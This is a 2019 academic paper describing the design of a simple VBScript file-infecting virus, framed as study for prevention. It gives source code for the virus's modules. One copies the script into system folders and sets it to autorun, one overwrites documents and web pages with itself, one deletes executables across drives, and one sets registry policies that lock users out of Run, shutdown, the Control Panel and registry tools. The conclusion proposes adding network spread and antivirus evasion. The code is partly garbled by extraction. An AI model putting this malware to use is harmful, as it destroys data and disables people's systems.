A simple realization of the computer virus
Qinghong Liang, Shangying Cao, Zhengan Qi
Information Engineering College, Panzhihua University of Technology, Sichuan, China

Abstract: A computer virus is a computer program or instruction set that can interfere with the normal operation of the computer and cause the computer hardware and software to malfunction and destroy the computer data. With the computer in various fields of social life widely used, computer virus attack and prevention technology is also constantly expanding, to prevent computer viruses are also more and more attention. This paper starts from the basic theory of script virus and the key technology of scripting virus, and realizes a simple script virus, and deeply analyzes the mechanism and principle of script virus. This paper summarizes the development history and development trend of computer virus, briefly introduces the basic knowledge of VBScript, Windows Script Host (WSH) and registry required to realize script virus. This paper focuses on the working principle of the script virus and the main techniques used in each module. Taking the source code of the script virus as an example, it analyzes the function of design idea, infection module, damage module and tag module, and implements the script virus Recursive algorithm for searching disk mechanisms and infection mechanisms.

Keywords: computer virus registry Windows script host recursive algorithm

1. Introduction

In recent years, the rapid development of computer technology, a variety of new technologies have been applied, the development of new technologies for us to bring convenience, so that information exchange more efficient and effective, and the virus also with the extensive application of computer technology has been developed, from DOS to Windows and then to the internet, the virus is everywhere, and even intensified, the destruction of the calculation is also escalating, the study of the virus principle and structure is imminent. Knowledge of the virus, help the development of anti-virus technology to understand the principles and structure of the virus in order to clear and prevent the virus, reduce the virus to bring us the loss.

In this paper, a script virus, for example, were analyzed the computer virus infection module, damage module, search module, analysis of the general structure of the virus program. Analyzes the functional characteristics of each module, and implements a script virus to achieve the purpose of in-depth analysis of the script virus principle.

The purpose of this article is to understand the development of the virus and the virus program design ideas, master the basic knowledge of the virus, so that we can early prevention and treatment as soon as possible to find the existence of the virus to improve the safety of the computer, meaning self-evident.

2. The history of the development of the virus

2.1. The history of computer virus development

Copyright © 2019 Qinghong Liang et al.
doi: 10.18282/ics.v1i1.586
This is an open-access article distributed under the terms of the Creative Commons Attribution Unported License (http://creativecommons.org/licenses/by-nc/4.0/), which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
By 1987, the first computer virus C-BRAIN was finally born. In general, the industry is recognized that this is really a complete feature of the computer virus ancestor. The virus program was written by a pair of Pakistani brothers: Basit and Amjad, who run a shop selling personal computers locally, and because of the prevalence of local pirated software, their purpose is mainly to prevent their software was any unauthorized copying. As long as someone steals their software, C-BRAIN will attack, the pirates of the hard disk to the remaining space to eat.

The virus at the time and not much lethality, but then some people with C-BRAIN as a blueprint to produce some deformation of the virus and other new virus creation, have also come out, not only personal creation, and even a lot of creative groups (such as Nuke, Phalcon / Skism, VDV). All kinds of anti-virus, anti-virus and anti-virus software and professional companies have also appeared. For a time, a variety of virus creation and anti-virus program, continue to introduce new, a hundred schools of thought contend.

2.2. The current status of the computer virus

1. Computer network (Internet, LAN) has become the main route of transmission of computer viruses, the use of computer networks has gradually become the common ground of computer virus attack conditions.

Computer viruses only through the first copy of the file spread, when the most common media is floppy disk and pirated discs. With the development of computer networks, the current computer viruses can be spread through computer networks using a variety of ways (e-mail, web pages, instant messaging software, etc.). The development of computer network will help the computer virus spread greatly improved; the scope of infection is also more and more widely. It can be said that the network has brought the high efficiency of computer virus infection. Compared with the previous computer virus gives us the impression that the computer virus initiative (active scanning can infect the computer), independence (no longer dependent on the host file) is stronger.

2. Computer virus deformation speed and to the mixed, diversified development

Computer viruses to mixed, diversified development of the results of some of the virus will be more sophisticated, and some other viruses will be more complex, mixed with a variety of virus features, such as the red code virus (Code Red) is a combination of file-based, worm-type virus, this trend will cause anti-virus work more difficult. On January 27, 2004, a new type of worm spread in the enterprise e-mail system, resulting in a surge in the number of messages, thus blocking the network. Diff erent anti-virus manufacturers will be named Novarg, Mydoom, SCO bombs, Norwich, small postman variants, the virus is used in a combination of viruses and spam tactics, uninformed users of the waves so that the spread of the virus The speed seems to be faster than the recent spread of several other viruses.

3. Operation mode and the way of transmission of concealment

Microsoft Security Center issued a vulnerability notice in MS04-028 mentioned GDI + vulnerability, the hazard level was set to 'serious'. In a computer infected with a computer virus, you may only see some common normal processes such as svchost, taskmgr, etc., in fact it is a computer virus process.

4. Exploit operating system vulnerabilities

Operating system is a bridge between computer users and computer systems, but also the core of the computer system, the most widely used is the WINDOWS series of operating systems. With the DOS operating system usage reduction, infected DOS operating system computer virus will also withdraw from the stage of history; with the WINDOWS operating system usage increases, for the WINDOWS operating system, the computer virus will become mainstream.

5 Computer virus technology and hacker technology will be increasingly integrated

Strictly speaking, Trojans and backdoor programs are not computer viruses because they cannot copy and spread themselves. But with the development of computer virus technology and hacker technology, virus writers will eventually combine these two technologies.

6. Material interests will be the driving force for the development of computer viruses

From the history of the development of computer viruses, the interest in technology and hobbies are the source of the development of computer viruses. But more and more signs that material interests will be the driving force behind the development of computer viruses.

Today, many banks are providing online verification or password key, users do not just cost savings and risk
of huge financial risk. It is quite necessary to buy a cryptographic key or a digital certificate.

2.3. Computer virus development trend

Prospects for the development of all scripted viruses:
With the rapid development of the network, the network worms are becoming popular, and the VBS script worms are more prominent, not only in large numbers, but also in power. As the use of scripting virus is relatively simple, in addition to the current popular VBS script virus will gradually appear more other script class viruses, such as PHP, JS, Perl virus. But the script is not really the best tool for virus technology enthusiasts to write the virus, and the script virus is easier to lift, relatively easy to guard against. Scripting viruses will continue to be popular, but can have a few worms like worms, new happy moments that affect the script worms. The development trend of computer virus:

1. High frequency
The frequency of the virus outbreak is high, resulting in a greater impact on the computer virus to hundreds of species as much. The proportion of malignant virus, the virus on the computer users to increase the harm;

2. Spread fast, wide range of hazards
As the characteristics of the network determines the domestic computer virus almost simultaneously with the outbreak of foreign virus outbreak, and rapid large area popular. The biggest threat to user security is the vicious network worm.

3. New virus production technology
Unlike traditional computer viruses, many new viruses are implemented using the latest programming languages and programming techniques, making it easy to modify to generate new variants that evade anti-virus software searches. For example, 'love worm' virus is written in VBScript language, as long as the software comes with Windows under the modified part of the virus code, you can easily create a virus variant to avoid anti-virus software pursuit.

4. Virus form diversification
The virus presents a diversified trend. Virus analysis shows that although the new virus continues to produce, but the earlier virus attack is still common, and to cartoon pictures, ICQ, OICQ and other aspects of development. In addition, the new virus is more adept at camouflage, such as the theme will change in the spread, many viruses will be disguised as a common program, or the virus code written to the length of the file without change, used to paralyze computer users.

5. Virus generation tool
In the past, computer viruses are produced by the master of the program, the preparation of the virus show their own technology. 'Kournikova' virus designers just modify the downloaded VBS worm, 'Kournikova' virus was born. According to reports, VBS worm incubator was downloaded by more than 150,000 times. Since such tools can be easily accessed on the web, the frequency of new viruses is now beyond anytime.

3. Related tools brief introduction
3.1. WSH (Windows Script Host) Introduction
The VBS code is executed locally via the Windows Script Host (WSH). VBS script execution is inseparable from the WSH, WSH is provided by Microsoft based on a 32-bit Windows platform, language-independent script interpretation mechanism, which makes the script directly in the Windows desktop or command prompt to run. With WSH, users can manipulate WSH objects, ActiveX objects, registries, and file systems.

1. Overview
WSH, is the 'Windows Scripting Host' abbreviated form, the common Chinese translation for the 'Windows script host.' It is embedded in the Windows operating system in the scripting language work environment. Windows Scripting Host this concept first appeared in the Windows 98 operating system. The batch command under MS-Dos is similar to today's scripting language. Microsoft in the development of Windows 98, in order to achieve a variety of script files in the Windows interface or Dosh command prompts under the direct operation, in the system implanted a 32-bit Windows platform, and independent of the language script running environment, and Name it 'Windows Scripting Host'. WSH architecture on ActiveX, by acting as an ActiveX scripting engine controller, WSH for Windows users make full use of powerful script instruction language to clear the obstacles.

2. Composition
WSH comes with several built-in objects include:
The object provided by Wscript.exe
Wscript as Wscript public to the script engine.
WshArguments is accessed via the Wscript.Arguments property. Provided by WSHom.Ocx.

They can mainly complete the environment variable access, network login, drive mapping, fast cut mode creation, program loading, special folders (such as system folder) information access and other functions.

3. The role of WSH

WSH design, to a large extent considered the 'non-interactive script (no interactive scripting)' needs. The WSH generated under this guiding ideology gives the script a very powerful feature that can be used to complete the mapping of network drives, retrieve and modify environment variables, handle registry entries, and so on; administrators can also use WSH support Create a simple login script, and even write scripts to manage Active Directory. In fact, the realization of these functions, and WSH built-in multiple objects are closely related to these built-in object shoulders the direct task of scripting.

3.2. Introduction to VBScript Language

Microsoft Visual Basic Scripting Edition is the newest member of the Visual Basic family of program development languages, and it applies executable scripts to a wider range of Web applications, including Web client scripts in Microsoft Internet Explorer and Web server scripts in Microsoft Internet Information Server.

VBScript can either write server scripts or write client scripts.

The advantage of the client programming language is that the browser has done all the work, which can reduce the burden on the server, and the client program runs much faster than the server-side program.

3.3 Basic knowledge of the registry

Windows registry is to help Windows control hardware, software, user environment and Windows interface, a set of data files, the registry contains two files in the Windows directory system.dat and user.dat Lane. Through the Windows directory regeedit.exe program can access the registry database. In the past, earlier versions of Windows (before Win95), these features were implemented by win.ini, system.ini and other .ini files associated with the application.

The registry is a core 'database' for the operating system, hardware devices, and client applications to function properly and save settings; it is a huge tree-like hierarchical database. It records the software installed on the machine and the interrelationships of each program; it contains the hardware configuration of the computer, including the automatic configuration of the plug and play devices and the existing equipment description, status attributes and the kind of state information and data.

The registry in the system is a database that records the settings and location of 32-bit drivers. When the operating system needs to access the hardware device, it uses the driver, and even the device is a BIOS supported device. No BIOS-supported devices must be installed when the driver is driven, this driver is independent of the operating system, but the operating system needs to know where to find them, the name, version number, other settings and information, no registration of the device to the device. It cannot be used.

WINDOWS the registry has six root keys:

1. HKEY_USERS The root key holds the user ID and password list stored in the local computer password list, that is, the user settings. Each user's preconfigured information is stored in the HKEY_USERS root key. HKEY_USERS is one of the root keys accessed in the remote computer. The content depends on whether the user has activated the user profile. If the user profile is not activated, you can see a single subkey called DEFAULT that includes various settings related to all users, The USER.DAT file matches. If the user profile is activated and the login is performed correctly, there is also a 'user name' subkey, which is the name of the user login.

2. HKEY_CURRENT_USER The root key contains the currently logged in user information stored in the local workstation, including the user login user name and the temporary password.

3. HKEY_CURRENT_CONFIG This root key holds information about the current user's desktop configuration (such as a monitor, etc.), the last used document list (MRU), and other Windows 98 Chinese version of the current user.

4. HKEY_CLASSES_ROOT The key consists of multiple sub-keys, the specific can be divided into two
kinds: one is already registered all kinds of file extensions, the other is a variety of file types of information. The subkeys in the left column are the various file extensions that have been registered. Among the registry extensions that have been registered in the registry, there are system defaults and application-defined extensions. The application only registers the custom extension in the registry, and the system can recognize and associate the associated document, but only the registered extension can automatically be associated with the system.

5 HKEY_LOCAL_MACHINE the core of the registry, the computer's various hardware and software configuration are present here. It includes the following eight parts: Config configuration, Driver driver, Enum plug and play, Hardware hardware, Network network, Security security, Software software, System system. Each section also includes many subkeys. The root key stores the local computer hardware data, which is included in SYSTEM.DAT to provide the information required by HKEY_LOCAL_MACHINE or in a set of keys accessible in the remote computer. Many of the child keys in the root key are similar to those set in the System.ini file.

6. HKEY_DYN_DATA The root key stores the system at run-time dynamic data, this data is changed every time the display, so the root of the information under the key is not placed in the registry.

4. VBScript script virus characteristics and principle analysis

4.1. VBScript script virus characteristics

VBS virus is written in VBScript, the script language is very powerful, they use the Windows system open features, by calling some off-the-shelf Windows objects, components, you can directly on the file system, the registry, etc. to control, very powerful. It should be said that the virus is an idea, but this idea in the use of VBS implementation becomes extremely easy. VBS script virus has the following characteristics:

1. Write a simple, a virus unknown to the user before the virus lovers in a very short time to compile a new virus.

2. Destructive. Its destructive power is not only reflected in the user system files and performance damage. He can also make the mail server crashes, the network is seriously blocked.

3. Strong infection. Since the script is directly interpreted and executed, and it does not need to be done like a PE virus, it is necessary to do complex PE file format processing, so this type of virus can infect other similar files directly through self-replicating, and the self-exception handling becomes very easy.

4. Spread a wide range. This type of virus through the htm document, Email attachments or other means, can be spread in a very short period of time around the world.

5 Virus source code is easy to get, variants and more. As the VBS virus interpretation of the implementation of its source code is very readable, even if the virus source code after encryption, the source code is still relatively simple to obtain. Therefore, the virus variants are more, slightly change the structure of the virus, or modify the eigenvalue; a lot of anti-virus software may be powerless.

6. Deceptive For example, the attachment name of the message is double-suffix xed, such as '.jpg', '.vbs', because the system does not display suffix x by default, so that the system does not show the suffix x, Users see this file, it will think it is a jpg picture file.

7. Making the virus production machine to achieve very easy.

4.2. VBScript script virus principle analysis

Infection Damage File section

Define the system file operation object, getfolder method to get all the files under the folder, getextensionname method to get all the file suffix x name, compare the suffix x name, if the suffix x is 'html', 'htm', 'xls', 'doc', 'Ppt', 'vbs', the vbscopy variable will be written to the file, covering the contents of the original file, to achieve infection. If the suffix x is 'exe', 'com', 'bat', the file is deleted directly. Recursively call the above steps.

Modify the registry

Define the registry process regcreate, call regcreate process to achieve the registry changes

Set the infection mark

Open the current file, read the current file, to determine whether there are 'Rem You have infected by raul virus' file eld. If it matches, the file has been infected and, if there is no match, the infection operation is performed. The infection operation reads the virus code.

See the next section for specific steps and implementation codes.

5. Scripting virus implementation
5.1. Scripting virus necessary knowledge

FSO Introduction The FSO (File System Object) object model can access the file system. The model provides an object-based tool that allows you to do a variety of operations on the file system more easily and flexibly in your application through a set of properties and methods.

The FSO object model contains the following objects:

Drive object: Allows you to collect information such as the available space of the drive, such as a hard disk, CD-ROM, etc., that the system is physically or connected to the system via the LAN.

Folder object: allows you to create, delete or move the folder, and to the system query folder name, path and so on.

Files object: allows the creation, deletion or movement of documents, and to the system query file name, path and so on.

TextStream object: Allows you to create and read and write text files.

FileSystemObject object: Provides a complete set of methods for the drive, folder, and file operations that can be functionally seen as a collection of several objects above and often used in conjunction with them. Many of the methods associated with this object duplicate the methods in the previous four objects, so that most of the operations on the drives, folders, and files can be made through the FileSystemObject object, or through the corresponding drive, folder, or file object pair these components operate. FSO model through two ways to achieve the same object operation, the operation effect is the same, to provide this redundant function is designed to achieve maximum programming flexibility.

Get the text file object

1. Creating a FileSystemObject Object Instance To perform a file operation, you must first create a FileSystemObject instance to create or open a file. Create a FileSystemObject object instance of the specific format (to FSO) as an example: Set FSO = CreateObject ('Scripting.FileSystemObject')

2. Using FileSystemObject to get the text file object TextStreamFileSystemObject provides two methods for obtaining the text file object TextStream, which is used to create the file object TextStream, open the existing file is OpenTextFile, the return of the two methods are a TextStream Object instance, the use of the object can be the specific operation of the file.

A. Create a new file

The specific format for creating a new file is (for example, FSO):

FSO.CreateTextFile (NewFileName, OverwriteExistingFile, IsUnicode)

Where: NewFileName is a string value that specifies the name of the file to be created, usually the actual path of the file plus the file name. OverwriteExistingFile is a Boolean value that indicates whether or not the original file is overwritten if there is a file of the same name. This parameter can be omitted, the default is False, that is not covered the original file. IsUnicode is a Boolean value that indicates whether the file to be created is an ASCII file or a Unicode file. This parameter can be omitted. The default is False, which is an ASCII file.

B. Open the existing file

Open the existing file method of the specific format (to FSO as an example):

FSO.OpenTextFile (FileName, IOMode, create, format) where: FileName is a string value that specifies the name of the file to be opened, usually the actual path of the file plus the file name. IOMode is a constant value that indicates the purpose of opening a file, ForReading (1) for reading data; ForAppending means to increase the data. This parameter can be omitted, by default for ForReading. Create is a Boolean value that indicates whether the file to be opened does not exist when creating a new file. This parameter can be omitted, the default is False, that is not to create a new file. Format Indicates how the file is opened. Its possible values and meanings are as follows: TristateTrue: Open in Unicode. TristateFalse: Open as ASCII. TristateUseDefault: Open as ASCII. This parameter can be omitted, the default is TristateFalse, that is, ASCII mode.

C. Operation of the document

After the establishment or opening of the document, you can use the object TextStream provided by the method of the actual operation of the file.

1. The methods used to write are:

A. Write (string) Writes the string specified by string to the file.
B. WriteLine (string) Writes a string specified by string in the file and writes a newline character. The argument string can be omitted, and a blank line is inserted in the file.

C. WriteBlankLines (NumOfLines) inserts a number of blank lines in the file, the number of rows specified by NumOfLines.

2. Methods and methods for reading are:
   A. AtEndOfLine this property is a Boolean value that indicates whether the file pointer has pointed to the end of the current line.
   B. AtEndOfStream this property is a Boolean value indicating whether the file pointer has pointed to the end of the file.
   C. Column this attribute is an integer value that represents the position of the file pointer in the current row.
   D. Line this attribute is an integer value that represents the line number of the line where the file pointer is located.
   E. Read (NumOfCharacters) this method starts with the current position of the file, reads a number of characters specified by the NumOfCharacters number, and returns a string.
   F. ReadLine this method starts at the current position of the file and reads the contents of the current line until the end of the line returns a string.
   G. ReadAll this method starts with the current position, reads the contents of the entire file until the end of the file, returns a string.
   H. Skip this method starts by skipping the number of characters specified by the NumOfCharacters number from the current position of the file.
   I. SKipLine this method skips the contents of the current line from the current position of the file. The methods used to close the file are: Close Close the file that has been created or opened.

5.2. Functional flow chart

Script virus program flow: First, initialize the work and create the main function of the process, followed by the search file, select a file and determine the infection conditions, if it has been infected, the end of the damage to destroy the file module, and select the next file. If it is not infected, execute the infected file module and select the next file. And use the recursive algorithm to invoke the search file module itself, and manipulate the sub-folder. After the disk search, file infection damage operation is completed, the implementation of the registry modification operation, the final end of the program.

5.3. Design ideas

1. Initialization section: Defines the relevant global variable.
2. Main function part: the use of system file operations (FSO) object to operate on each file, call the scan process, disk traversal process, the registry operation process.
3. File search part: the use of system files to operate the object, by calling getfolder method, get the path of the file, and then recursive algorithm, call the process itself, to achieve access to the folder.
4. File destruction part: to determine the file suffix, if the conditions are met, the implementation of the delete operation.
5 File infected part: If the file is not infected, the script itself will overwrite the source code of the virus, to achieve the target file infection.
6. Registry operation part: create a registry key to modify the process, and then call the process to modify the registry operation.

5.4. Functional module implementation

Main function module

The module is mainly used by the object: CreateObject object to create a registry object The main method used by the module:

The RegRead method reads the registry key The Regcreate method creates the registry key Code Resolution:

The main function module first creates the object for the registry operation, then calls the regread method and the regcreate method to set the timeout for the Windows script host program that executes the VBScript script, adding operations to prevent the operation from overtime. And then copy the virus file to the windows directory and system32 directory backup. And then call the infected file module, destroy the file module, the registry operation module.

The key code is as follows:

Main ()
Sub main ()
On Error Resume Next
Dim wscr, rr
Set wscr = CreateObject ('WScript.Shell')
RR = wscr.RegRead ('HKEY_CURRENT_USER \ Software \ Microsoft \ Windows Scripting Host \ Settings \ Timeout')
If (rr >= 1) then
    Wscr.regcreate 'HKEY_CURRENT_USER \ Software \ Microsoft \ Windows Scripting Host \ Settings \ Timeout', 0, 'REG_DWORD'
End if
Set dirwin = fso.GetSpecialFolder (0)
Set dirsystem = fso.GetSpecialFolder (1)
Set dirtemp = fso.GetSpecialFolder (2)
'Get the name of the system key folder
Set c = fso.GetFile (WScript.ScriptFullName)
C.Copy (dirsystem \ 'MSKernel32.vbs')
C.Copy (dirwin \ 'Win32DLL.vbs')
C.Copy (dirsystem \ 'raul.TXT.vbs')
'Copy itself to the critical directory.
M = msgbox ('The virus is scanning!', 0, 'raul-virus')
'Pop-up warning window, the virus is running the search function
Scan ('C:')
M = msgbox ('The virus is deleting your fi le!', 0, 'raul-virus')
Delete ('C:')
Scan ('D:')
Delete ('D:')
Scan ('E:')
Delete ('E:')
Scan ('F:')
Delete ('F:')
Regruns ()
End sub

Infected File Module
The module is mainly used by the object:
Filesystemobject Object System File Action Object
The collection of all the fi les in the Files object folder
The main method used by the module:
The GetFolder method returns the specifi ed fi le
The GetFile method returns the specifi ed content to the string
The Write method writes the specifi ed content to the string
Copy method to copy the specifi ed fi le

Code Resolution:
Script viruses can infect fi les directly by copying their own code. Most of the virus in the code can be added directly to the middle of another program. The following code is the key code for infecting the fi le module:
1. First defi ne the system fi le operation fso.
2. Then call the opentextfi le method to open a fi le and copy the fi le to the raul object.
3. To determine the fi le name suffi x, if it is html, htm, xls, vbs, doc, ppt, then call the write method will meet the above suffi x name of the fi le open, and the virus itself code into the fi le to achieve infection operation.
4. Then call the getbasename method to get the name of the fi le to be infected.
5 And then write this string to the source fi le, and create a source fi le with the source name of the fi le name prefi x to vbs' suffi x for the new fi le.
6. Finally remove the source target fi le.
The key code is as follows:
Dim fi le, fc, raul, aname
Set fso = wscript.createobject ('scripting.filesystemobject')
Set folder = fso.getfolder (lujing)
Set fc = folder.Files
Ext = fso.getextensionname (fi le.path)
Ext = lcase (ext)
If (ext = 'html') or (ext = 'htm') or (ext = 'xls') or (ext = 'vbs') or (ext = 'doc') or (ext = 'ppt') Then
    Set raul = fso.OpenTextFile (f1.path, 2, true)
    Raul.write vbscopy
    Raul.close
    Aname = fso.GetBaseName (f1.path)
    Set cop = fso.GetFileName (f1.path)
    Cop.copy (lujing \ 'aname.vbs')
7.4.3 Search the fi le module
The module is mainly used by the object:
Filesystemobject Object System File Action Object
The collection of all the fi les in the Files object folder
The main method used by the module:
The Getfolder method returns the folder object in the
specified path
The Subfolders property returns a collection of folders
consisting of the specified subfolders Code Resolution:
1. First of all, this module defines the system file opera-
tion object fso.
2. And then call the getfolder method, get the need to
search the path (scan process inside the parameters that
need to search the path) that folder, and the folder object
attached to the variable folder.
3. And then reference the files property, get all the sub-
folders under the folder fi le collection, and the object
attached to the variable fc.
4. And then through the for loop statement, to fc (fi le
collection) under all the fi les in order to identify the in-
fec tion mark, damage, infection and other operations.
5 The subfolders property is then referenced, and the
subfolder collection object is appended to the variable sf.
6. Through the for loop statement, and call the scan pro-
cess (recursive algorithm), the recursive algorithm can
raverse the entire partition of the directory and fi le. To
achieve the sf (fi le collection) under all the fi les in order
to operate. So as to achieve the purpose of searching the
entire folder.
The key code is as follows:
Sub scan (lujing)
On error resume next
Dim fi le, fc
Set fso = wscript.createobject ('scripting.filesystemo-
bject') Set folder = fso.getfolder (lujing)
Set fc = folder.files
For each fi le in fc
/* Script virus infection and delete module statement */
Next
Set sf = folder.subfolders
For each fi le in sf
Scan (fi le)
Next
End sub
Damage module
The module is mainly used by the object:
File system object Object System File Action Object
The collection of all the fi les in the Files object folder
The main method used by the module:

The Delete file method deletes the specified fi le
Code Resolution:
1. First defi ne the system fi le operation fso.
2. Call the getfolder method to get the folder under the
specifi ed path.
3. For each fi le under the folder to determine the fi le
name suffi x, if it is exe, com, bat, then call deletefi le
method, will meet the above fi le name suffi x fi le di-
rectly deleted to achieve damage function.
The key code is as follows:
Sub delete (lujing)
On error resume next
Dim fi le, fc
Set fso = wscript.createobject ('scripting.filesystemo-
bject') Set folder = fso.getfolder (lujing)
Set fc = folder.files
For each fi le in fc
If (ext = 'exe') or (ext = 'com') or (ext = 'bat') then
Fso.deletefi le (fi le.path)
Next
End sub
Registry operation module
The module mainly uses the function:
CreateObject function to create a registry object
The main method used by the module:
Regwrite method to write the value of the specifi ed reg-
istry key code analysis:
1. The module fi rst defi nes the process of creating a
registry key. Call the createobject function to create a
registry modifi cation object. Call the regwrite method to
write the registry key.
2. In the process of regruns call regcreate process, the
implementation of prohibit the operation of the menu,
prohibit the shutdown of the system menu, boot auto-
atically run and other operations, as well as IE to modi-
fi y the operation.
The key code is as follows:
Sub regcreate (regkey, regvalue)
Set regedit = CreateObject ('WScript.Shell') Reged-
it.RegWrite regkey, regvalue
End sub
Sub regruns ()
Regcreate 'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun', 1, 'REG_DWORD' 'Disable the run menu
Regcreate HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoClose', 1, 'REG_DWORD' 'Disable the shutdown of the system menu

Regcreate HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoDrives', 630000000, 'REG_DWORD' 'Hide the drive letter regcreate HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ DisableRegistryTools', 1, 'REG_DWORD' "prohibit the use of Registry Editor

Regcreate HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ ScanRegistry', 1, 'REG_DWORD' 'Do not use the registry scan

Regcreate HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoLogOff', 1, 'REG_DWORD' 'Disable the logout menu

Regcreate HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Win32system', 'Win32system.vbs' 'Power On Auto Run

Regcreate HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoDesktop', 1, 'REG_DWORD' 'Do not show all icons on the desktop

Regcreate HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ WinOldApp \ Disabled', 1, 'REG_DWORD' 'Prohibited dos

Regcreate HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoSetTaskBar', 1, 'REG_DWORD' 'Disable the taskbar and start

Regcreate HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoViewContextMenu', 1, 'REG_DWORD' 'Disable right-click menu

Regcreate HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoSetFolders', 1, 'REG_DWORD' 'Disable Control Panel

Regcreate HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon \ Legal NoticeCaption', 'khhk' 'boot dialog box header

Regcreate HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon \ LegalNoticeText', 'ij' 'boot dialog box contents

The following is the relevant IE operation

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ Restrictions \ NoBrowserContextMenu', 1, 'REG_DWORD' 'Disable IE right-click menu

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ Restrictions \ NoBrowserOptions', 1, 'REG_DWORD' 'Disable Internet Options

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ Restrictions \ NoBrowserSaveAs', 1, 'REG_DWORD' 'Disable the Save As Menu

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ Restrictions \ NoFileOpen', 1, 'REG_DWORD' 'Disable File Open Menu

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ ControlPanel \ Cache Internet', 1, 'REG_DWORD' 'Do not change the temporary file settings

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ ControlPanel \ AutoConf i g', 1, 'REG_DWORD' 'Do not change the automatic configuration

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ ControlPanel \ HomePage', 1, 'REG_DWORD' 'prohibits changing the home page

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ ControlPanel \ History', 1, 'REG_DWORD' 'Do not change the history settings

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ Restrictions \ NoViewSource', 1, 'REG_DWORD' 'Do not view the source file

Regcreate HKCU \ Software \ Policies \ Microsoft \ InternetExplorer \ ControlPanel \ SecurityTab', 1, 'REG_DWORD' 'Prohibit security items

End sub

Infection Marker Module

The module is mainly used by the object:

Filesyst emobject object Creates a system file operation object The main method used by the module:

Opentext fi le method to open the specified file

The Readall method reads the file and returns the string

The Write method writes a specific string to the file

Code Resolution:

The module first defines the matching function Sc, which uses the InStr function, which is used to determine
whether there is a defined 'You have infected by raul virus' string in the file. If it matches, it returns True and attaches Sc. Match, then return False, attached to Sc.

The module then defines the Fw process, the first definition of the system file operation object, and then call the OpenTextFile method, open the path specified in the file, and then readAll method, read the file flow, call the matching function to determine whether the match. If the match is that has been infected, you can continue to determine the next file, if not match that is not infected, the implementation of infection and damage to the file module.

6. Conclusion

This paper mainly analyzes the basic principles of script virus, and describes the main techniques of script virus. Implemented a simple script virus. The script virus is written in the VBScript scripting language, which includes script virus infection module, destruction module, search file module, tag module.

As the script virus only spread on the local disk, the future direction of development for the increase in network communication module to enhance the infectivity of the virus. Strengthen the virus's own defense capabilities, increase the anti-virus software to kill the process of the module.

References